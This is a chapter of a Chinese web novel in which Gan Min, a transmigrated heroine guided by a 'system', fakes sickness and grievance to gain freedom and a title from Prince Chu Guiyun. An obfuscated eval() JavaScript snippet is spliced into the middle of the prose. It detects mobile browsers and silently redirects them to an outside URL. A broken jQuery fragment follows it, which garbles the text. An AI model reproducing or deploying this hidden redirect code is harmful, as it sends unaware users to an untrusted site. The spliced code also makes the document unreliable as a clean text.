按着梁安的说法,王府最好的厨子和玩意儿都送过去了,她还有什么不满意的?
没砸够?还是说非要出门不可。
“让他们都离开。”
甘悯懒得搭理他。跑肯定是跑不掉的,毕竟别人不敢上来抓人,褚归云肯定敢。
她摇摇头抖掉叠在眼睫上的雪花。
今日出来得突然,甘悯没披上披风,也没揣手炉。
格外纤细的人在寒风中摇晃,颊边难束的碎发沾上雪粒,精致的面庞因瘦削而棱角分明,显出极端的病气和锐利。
褚归云抬手,包括安秋在内的几个暗卫悄无声息地退出院外。只余下两道如松如竹的身影相对而立,风雪簌簌,隔帘相视。
“你想说什么?”褚归云思索了片刻,果断地扯了自己的大氅往甘悯身前一丢。
大夫说过,甘悯此人不能受寒,会死。他记得很清楚。
……
甘悯冷不丁被砸得一个踉跄,险些和大地母亲来了一个亲密无间拥抱。
她看了一眼怀里的大氅,犹豫了刹那就听见褚归云吊儿郎当的声音在不远处响起。
“穿上,免得你晕了又要我送你回屋。”
那真是麻烦您老人家了。
甘悯咬牙切齿地裹上黑不溜秋的大氅,处理好系带再抬起头时,眼眶已经微微泛红。
“宿主,这能行吗?”系统比甘悯还紧张,生怕甘悯不小心就玩脱了。
“什么行不行,不行就死呗。”
甘悯无所谓地蹭了蹭脸侧细小的绒毛,视线转向因为她短暂地发呆而略有些不满的褚归云:“殿下为何关我?”
“你难道是在听竹院呆着不舒服了?”褚归云扬眉,“本王就不信弄不来你想要的东西。”
闻言,甘悯一句“卧槽就是这个味儿”卡在喉咙里,颤巍巍地抬起手腕指了指身后的院子。
手抖不是演的,她是真的觉得很冷。
“殿下如此,叫我如何自处?”
褚归云歪了歪头,上前两步缩短和甘悯之间的距离:“嫌弃这院子太破太偏?那换掉不就行了?”
甘悯揉了揉自己的额角。
装,装,又在这儿装什么都不懂的纯情大男孩。
“殿下何必装傻,民女只想问,民女如今在殿下眼中究竟算什么?打发时间的玩意儿?见不得光的……”
不对,她这种好像也不算外室。
甘悯上嘴皮碰下嘴皮张口就来:“禁.脔?还是说单单是一件祭品罢了?”
立在原地一动不动的少年闻言一愣,似乎是在艰难地消化自己听到的东西。
“宿主,他才十七岁……”
“哦,那十七岁纯情少男,对不住了。”
眸中酝酿了许久的泪水终于滚落,甘悯仰头看向仿佛被按下静音键的出归云:“殿下救我,却又弃我。”
“你还在意这些?”褚归云终于回过神,轻飘飘的一句话如同落雪,眸中蕴着淡淡的困惑。
他记得甘悯曾经顶着掉脑袋的风险去捞一些在他看来算得上……低贱而又无用的人。
甘悯这会儿就只有一个想法。
那就是好想打死褚归云。
甘悯索性扬起声调,毫不留情地骂道:“好,好。是民女诡计多端心存妄念,未曾想殿下是如此无情无义始乱终弃之人。”
她抬手擦掉唇角溢出的鲜血,移开视线不再看褚归云。
身体差的唯一一点好处就是可以支持她随地大小演,随地大小吐。
“你的身子经不起风吹。”褚归云古井无波的脸上终于起了一点波澜,眸中的怀疑不似作假,“若不是院子,可是因为有人对你不尽心?”
这是重点吗大哥?
你到底有没有在听我讲话!
甘悯深吸一口气,拧着眉头试图继续对牛弹琴:“人人都对民女尽心,唯有殿下伤民女的心。”
“你究竟想要什么?”褚归云截住话头,不欲继续在心不心这种没意义的问题上争辩。
他不可能其他人一样用天天围着她转来证明自己尽心尽力。
今天浪费的时间已经够多了。
甘悯显得有点灰败的眼睛里亮起一点点光芒,敛眉静静注视着面前似乎毫无所觉的褚归云。
“民女想能大大方方地出门,民女想要一个能堂堂正正呆在您身边的名分。”
对于《大雍》书中的“群雄”,甘悯在从前做任务的时候就一点点摸索清楚了他们共同的弱点。
成日江山江山宏图宏图的人,一遇到女人要个正名,就会立马变成最强赘婿。
永王这会儿没老婆。
但是根据她多年所见所闻所历得出来的结论就是,他们其实都是间歇性的赘婿!平日怕这个算那个的清醒,但是一勾搭起小姑娘就发疯了忘情了。
眼见一时半会说不通,脸上都快失了知觉,甘悯裙褶下的脚一扭,无比精准地往前一倒,稳稳当当地倒在褚归云怀里。
而后被磕得险些冒出泪花。
痛。怎么会有人撞上去那么痛啊,她的鼻子不会被撞断了吧?
“宿主……永王的表情好难看。”系统颤颤巍巍地开口,丢出一个有两撇倒八眉毛的颜文字,“就像这样。”
看到那个气呼呼的小人,甘悯好悬没笑出来。
生气就生气吧,只要不关她,杀了她也不是不行。
一群人手忙脚乱地请大夫进门,褚归云额角的青筋暴起,下意识捏了捏自己的眉心:“叫梁安滚过来。”
甘悯闭着眼,一时间有些纳罕。
难道梁安这个绝命毒夫还兼职大夫不成?
错乱的脚步声停下,甘悯察觉到有人在给自己号脉,而后就是无休无止的叹息和叽里呱啦的商讨。
从某种意义上来说,她其实才是这本书里的纸片人。
天生的弱症哪有那么好治。
“脉象虚浮无力。悯姑娘的身子本就亏空,像是近日劳心过甚以至于气血两亏。今日又受了大喜大悲的冲,中气不接,才会如此。”
“还是快取参片含于舌下才是。”
大夫说着说着瞅了一旁的褚归云一眼,就连安秋的视线都似有若无地飘到他身上。
“去取。”褚归云习以为常地开口。
咔哒一声轻响,安秋从暗格中取出参片,浑然是早有准备的模样。
甘悯听得牙酸。
早知道不装晕了,她压根没有到需要参片吊着的程度好不好!
这下好了,苦味直冲着天灵盖就去了。
“她的身体可有丁点好转?”褚归云的手背擦过甘悯一点点变得苍白的侧脸,眸中神色晦暗不明。
屋内一时间陷入沉寂,唯有窗外风雪卷过竹叶的沙沙声。
“殿下,调养需要时日。遑论悯姑娘心绪不宁。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269283|182231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那就是没什么变化。
一声带着嘲意的轻笑传入屋内众人的耳朵,褚归云揣着探究的视线落在甘悯脸上。
心绪不宁?常人活过百年往往再无欲求,偏偏她活了百年千年仍旧不愿屈于人后,仍旧不老实。
也是,老实的就不会是甘悯了。
甘悯被苦得要哭了,这会儿压根没心思去管褚归云究竟在想什么,和系统商量着要不忽然睁眼给褚归云一个惊喜。
“殿下,恕老夫多言。这位姑娘若是心存死志,越关着,越容易出问题啊!”
甘悯很感动,但她对于褚归云能不能或者愿不愿意听懂人话这件事保持怀疑态度。
“嗯。还有呢?”清朗润泽的声音听不出什么情绪。
他当然知道不能关着甘悯,不然她现在就应该在另一个地方,遑论还有机会来和他谈条件。
好吃好喝地供着,也能叫做关?
大夫絮絮叨叨,甘悯昏昏欲睡。
直至整个房间内重归宁静,一只手背上带着狰狞伤疤的手不急不缓地覆盖在甘悯的脖颈上。
如果甘悯醒着,她会毫不犹豫地选择在临死前告诉褚归云究竟谁是祖宗谁是孙子。
问题是她现在睡着了。
于是只皱着眉头不耐烦地一巴掌拍开脖子上的异物,带着自己的被子滚到角落里去。
褚归云抬起自己的手,掌心似乎还带着一点微凉的冷意。
他不明白。
在永王府,从来没有人缺过她的碳火,吃穿用度皆是最好的,为什么她的身体却像是永远捂不热的寒冰。
寒凉,虚弱,缥缈。
偏偏与他而言又重比千斤。
“殿下,梁大人到了。”安秋放轻脚步进屋。
褚归云转了转自己的手腕:“你也过去。”
两个人的声音都不大,似乎都是怕惊醒了床上睡着的人。
片刻后屋内重归寂静。
“宿主……宿主醒一醒!”在成功度过甘悯可能和褚归云打起来的危机后,系统终于安下心,叫魂似的喊甘悯。
*
纤尘不染的书房内有两人对坐,黑白子行于盘上,不过片刻便显出一边倒的迹象。
“等下,那、那位不是您的妾室?”花孔雀似的梁安手一抖,扇子险些掉在地上,“殿下,臣言语粗鄙,还望您海涵。”
他起先被问到的时候只以为是褚归云不知从哪个犄角旮旯里搜罗来的美人,毕竟若是什么姐姐妹妹华京贵女的,他不可能不认识。
今日明白了缘由,一时间都有些无言。
抢老婆就算了,哪有在人成亲当天去劫持的?
这不是一巴掌扇在两家人脸上吗?
“说。”褚归云的耐心耗尽,指节有一搭没一搭地敲在桌面。
梁安瞅了一眼褚归云,在对方堪称凶残的注视下哈哈一笑。
“这个,您这是强抢民女吧。”还是只抢但是不给人身份的那种,纯强盗。
他说完就噤声了。
“甘家无义,张家无情。”
窗外的树影上盘,褚归云面色淡淡,深黑的眼中全是理所当然:“她不可能找到更好的归处。”
黑子落盘,梁安嘶了一声,把手中的白棋一抛,不玩了。
心中已然升起惊天骇浪。
“安秋。”褚归云懒得和臭棋篓子计较。
“在。”